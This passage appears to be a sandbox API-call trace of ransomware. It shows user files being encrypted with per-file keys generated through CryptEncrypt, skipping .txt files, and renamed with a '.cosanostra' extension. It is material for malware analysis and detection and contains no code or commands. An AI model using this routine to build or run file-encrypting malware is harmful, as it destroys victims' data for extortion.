"c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ckirjmf7v2oqesqiw.pdf"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cKirJMF7V2oqeSQIW.pdf.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ckirjmf7v2oqesqiw.pdf.cosanostra")) returned 1 [0098.221] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f2f0 | out: pbBuffer=0x251f2f0) returned 1 [0098.221] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f2e8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f2e8*=0x30) returned 1 [0098.221] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bA54Va 8t7vs.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ba54va 8t7vs.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.221] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bA54Va 8t7vs.csv") returned 58 [0098.222] StrStrW (lpFirst="bA54Va 8t7vs.csv", lpSrch=".txt") returned 0x0 [0098.222] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.222] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f2ac, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f2ac*=0x2800, lpOverlapped=0x0) returned 1 [0098.223] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.223] WriteFile (in: hFile=0x138, lpBuffer=0x251f2ec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f2ac, lpOverlapped=0x0 | out: lpBuffer=0x251f2ec*, lpNumberOfBytesWritten=0x251f2ac*=0x4, lpOverlapped=0x0) returned 1 [0098.223] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f2ac, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f2ac*=0x30, lpOverlapped=0x0) returned 1 [0098.223] CloseHandle (hObject=0x138) returned 1 [0098.223] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bA54Va 8t7vs.csv.cosanostra") returned 69 [0098.223] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bA54Va 8t7vs.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ba54va 8t7vs.csv"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bA54Va 8t7vs.csv.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ba54va 8t7vs.csv.cosanostra")) returned 1 [0098.224] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f2f0 | out: pbBuffer=0x251f2f0) returned 1 [0098.224] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f2e8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f2e8*=0x30) returned 1 [0098.224] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\azPh-.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\azph-.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.225] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\azPh-.docx") returned 52 [0098.225] StrStrW (lpFirst="azPh-.docx", lpSrch=".txt") returned 0x0 [0098.225] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.225] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f2ac, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f2ac*=0x2800, lpOverlapped=0x0) returned 1 [0098.226] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.226] WriteFile (in: hFile=0x138, lpBuffer=0x251f2ec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f2ac, lpOverlapped=0x0 | out: lpBuffer=0x251f2ec*, lpNumberOfBytesWritten=0x251f2ac*=0x4, lpOverlapped=0x0) returned 1 [0098.226] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f2ac, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f2ac*=0x30, lpOverlapped=0x0) returned 1 [0098.226] CloseHandle (hObject=0x138) returned 1 [0098.226] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\azPh-.docx.cosanostra") returned 63 [0098.226] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\azPh-.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\azph-.docx"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\azPh-.docx.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\azph-.docx.cosanostra")) returned 1 [0098.229] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f2e8 | out: pbBuffer=0x251f2e8) returned 1 [0098.229] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f2e0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f2e0*=0x30) returned 1 [0098.229] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\79e02sjG1.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\79e02sjg1.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.230] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\79e02sjG1.ots") returned 55 [0098.230] StrStrW (lpFirst="79e02sjG1.ots", lpSrch=".txt") returned 0x0 [0098.231] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.231] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f2a4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f2a4*=0x2800, lpOverlapped=0x0) returned 1 [0098.231] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.231] WriteFile (in: hFile=0x138, lpBuffer=0x251f2e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f2a4, lpOverlapped=0x0 | out: lpBuffer=0x251f2e4*, lpNumberOfBytesWritten=0x251f2a4*=0x4, lpOverlapped=0x0) returned 1 [0098.231] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f2a4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f2a4*=0x30, lpOverlapped=0x0) returned 1 [0098.231] CloseHandle (hObject=0x138) returned 1 [0098.231] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\79e02sjG1.ots.cosanostra") returned 66 [0098.231] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\79e02sjG1.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\79e02sjg1.ots"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\79e02sjG1.ots.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\79e02sjg1.ots.cosanostra")) returned 1 [0098.271] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f2e8 | out: pbBuffer=0x251f2e8) returned 1 [0098.271] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f2e0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f2e0*=0x30) returned 1 [0098.271] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5Ux66-AR27W2w.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5ux66-ar27w2w.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.272] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5Ux66-AR27W2w.jpg") returned 59 [0098.272] StrStrW (lpFirst="5Ux66-AR27W2w.jpg", lpSrch=".txt") returned 0x0 [0098.273] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffe2ce, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.273] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x1d32, lpNumberOfBytesWritten=0x251f2a4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f2a4*=0x1d32, lpOverlapped=0x0) returned 1 [0098.273] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.273] WriteFile (in: hFile=0x138, lpBuffer=0x251f2e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f2a4, lpOverlapped=0x0 | out: lpBuffer=0x251f2e4*, lpNumberOfBytesWritten=0x251f2a4*=0x4, lpOverlapped=0x0) returned 1 [0098.273] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f2a4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f2a4*=0x30, lpOverlapped=0x0) returned 1 [0098.273] CloseHandle (hObject=0x138) returned 1 [0098.274] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5Ux66-AR27W2w.jpg.cosanostra") returned 70 [0098.274] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5Ux66-AR27W2w.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5ux66-ar27w2w.jpg"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5Ux66-AR27W2w.jpg.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5ux66-ar27w2w.jpg.cosanostra")) returned 1 [0098.279] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f2e0 | out: pbBuffer=0x251f2e0) returned 1 [0098.279] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f2d8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f2d8*=0x30) returned 1 [0098.279] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4zLlKnWslXL.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\4zllknwslxl.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.280] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4zLlKnWslXL.mp4") returned 57 [0098.280] StrStrW (lpFirst="4zLlKnWslXL.mp4", lpSrch=".txt") returned 0x0 [0098.281] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.281] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f29c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f29c*=0x2800, lpOverlapped=0x0) returned 1 [0098.281] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.281] WriteFile (in: hFile=0x138, lpBuffer=0x251f2dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f29c, lpOverlapped=0x0 | out: lpBuffer=0x251f2dc*, lpNumberOfBytesWritten=0x251f29c*=0x4, lpOverlapped=0x0) returned 1 [0098.281] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f29c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f29c*=0x30, lpOverlapped=0x0) returned 1 [0098.281] CloseHandle (hObject=0x138) returned 1 [0098.282] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4zLlKnWslXL.mp4.cosanostra") returned 68 [0098.282] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4zLlKnWslXL.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\4zllknwslxl.mp4"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4zLlKnWslXL.mp4.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\4zllknwslxl.mp4.cosanostra")) returned 1 [0098.283] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f2e0 | out: pbBuffer=0x251f2e0) returned 1 [0098.283] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f2d8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f2d8*=0x30) returned 1 [0098.283] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0GtpNb9JLxdx-7C wU.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0gtpnb9jlxdx-7c wu.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.284] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0GtpNb9JLxdx-7C wU.xls") returned 64 [0098.284] StrStrW (lpFirst="0GtpNb9JLxdx-7C wU.xls", lpSrch=".txt") returned 0x0 [0098.285] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.285] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f29c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f29c*=0x2800, lpOverlapped=0x0) returned 1 [0098.285] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.285] WriteFile (in: hFile=0x138, lpBuffer=0x251f2dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f29c, lpOverlapped=0x0 | out: lpBuffer=0x251f2dc*, lpNumberOfBytesWritten=0x251f29c*=0x4, lpOverlapped=0x0) returned 1 [0098.285] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f29c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f29c*=0x30, lpOverlapped=0x0) returned 1 [0098.285] CloseHandle (hObject=0x138) returned 1 [0098.286] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0GtpNb9JLxdx-7C wU.xls.cosanostra") returned 75 [0098.286] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0GtpNb9JLxdx-7C wU.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0gtpnb9jlxdx-7c wu.xls"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0GtpNb9JLxdx-7C wU.xls.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0gtpnb9jlxdx-7c wu.xls.cosanostra")) returned 1 [0098.288] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f2d8 | out: pbBuffer=0x251f2d8) returned 1 [0098.288] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f2d0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f2d0*=0x30) returned 1 [0098.288] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0098.288] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f2d8 | out: pbBuffer=0x251f2d8) returned 1 [0098.288] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f2d0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f2d0*=0x30) returned 1 [0098.288] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0098.289] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f2d0 | out: pbBuffer=0x251f2d0) returned 1 [0098.289] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f2c8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f2c8*=0x30) returned 1 [0098.290] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.290] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact") returned 64 [0098.290] StrStrW (lpFirst="sikvnb huvuib.contact", lpSrch=".txt") returned 0x0 [0098.358] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffb6c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.358] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x251f28c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f28c*=0x494, lpOverlapped=0x0) returned 1 [0098.358] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.358] WriteFile (in: hFile=0x138, lpBuffer=0x251f2cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f28c, lpOverlapped=0x0 | out: lpBuffer=0x251f2cc*, lpNumberOfBytesWritten=0x251f28c*=0x4, lpOverlapped=0x0) returned 1 [0098.358] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f28c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f28c*=0x30, lpOverlapped=0x0) returned 1 [0098.358] CloseHandle (hObject=0x138) returned 1 [0098.358] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact.cosanostra") returned 75 [0098.358] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact.cosanostra")) returned 1 [0098.359] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f2c8 | out: pbBuffer=0x251f2c8) returned 1 [0098.359] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f2c0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f2c0*=0x30) returned 1 [0098.359] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\RshtxQiT7VGnA EmDD.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\rshtxqit7vgna emdd.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.360] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\RshtxQiT7VGnA EmDD.flv") returned 72 [0098.360] StrStrW (lpFirst="RshtxQiT7VGnA EmDD.flv", lpSrch=".txt") returned 0x0 [0098.360] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.360] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f284, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f284*=0x2800, lpOverlapped=0x0) returned 1 [0098.360] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.360] WriteFile (in: hFile=0x138, lpBuffer=0x251f2c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f284, lpOverlapped=0x0 | out: lpBuffer=0x251f2c4*, lpNumberOfBytesWritten=0x251f284*=0x4, lpOverlapped=0x0) returned 1 [0098.361] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f284, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f284*=0x30, lpOverlapped=0x0) returned 1 [0098.361] CloseHandle (hObject=0x138) returned 1 [0098.361] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\RshtxQiT7VGnA EmDD.flv.cosanostra") returned 83 [0098.361] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\RshtxQiT7VGnA EmDD.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\rshtxqit7vgna emdd.flv"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\RshtxQiT7VGnA EmDD.flv.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\rshtxqit7vgna emdd.flv.cosanostra")) returned 1 [0098.362] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f2c8 | out: pbBuffer=0x251f2c8) returned 1 [0098.362] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f2c0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f2c0*=0x30) returned 1 [0098.362] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\rrejnf YJgVp7gx.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\rrejnf yjgvp7gx.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.362] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\rrejnf YJgVp7gx.rtf") returned 69 [0098.362] StrStrW (lpFirst="rrejnf YJgVp7gx.rtf", lpSrch=".txt") returned 0x0 [0098.363] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.363] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f284, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f284*=0x2800, lpOverlapped=0x0) returned 1 [0098.363] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.363] WriteFile (in: hFile=0x138, lpBuffer=0x251f2c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f284, lpOverlapped=0x0 | out: lpBuffer=0x251f2c4*, lpNumberOfBytesWritten=0x251f284*=0x4, lpOverlapped=0x0) returned 1 [0098.364] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f284, lpOverlapped=0x0 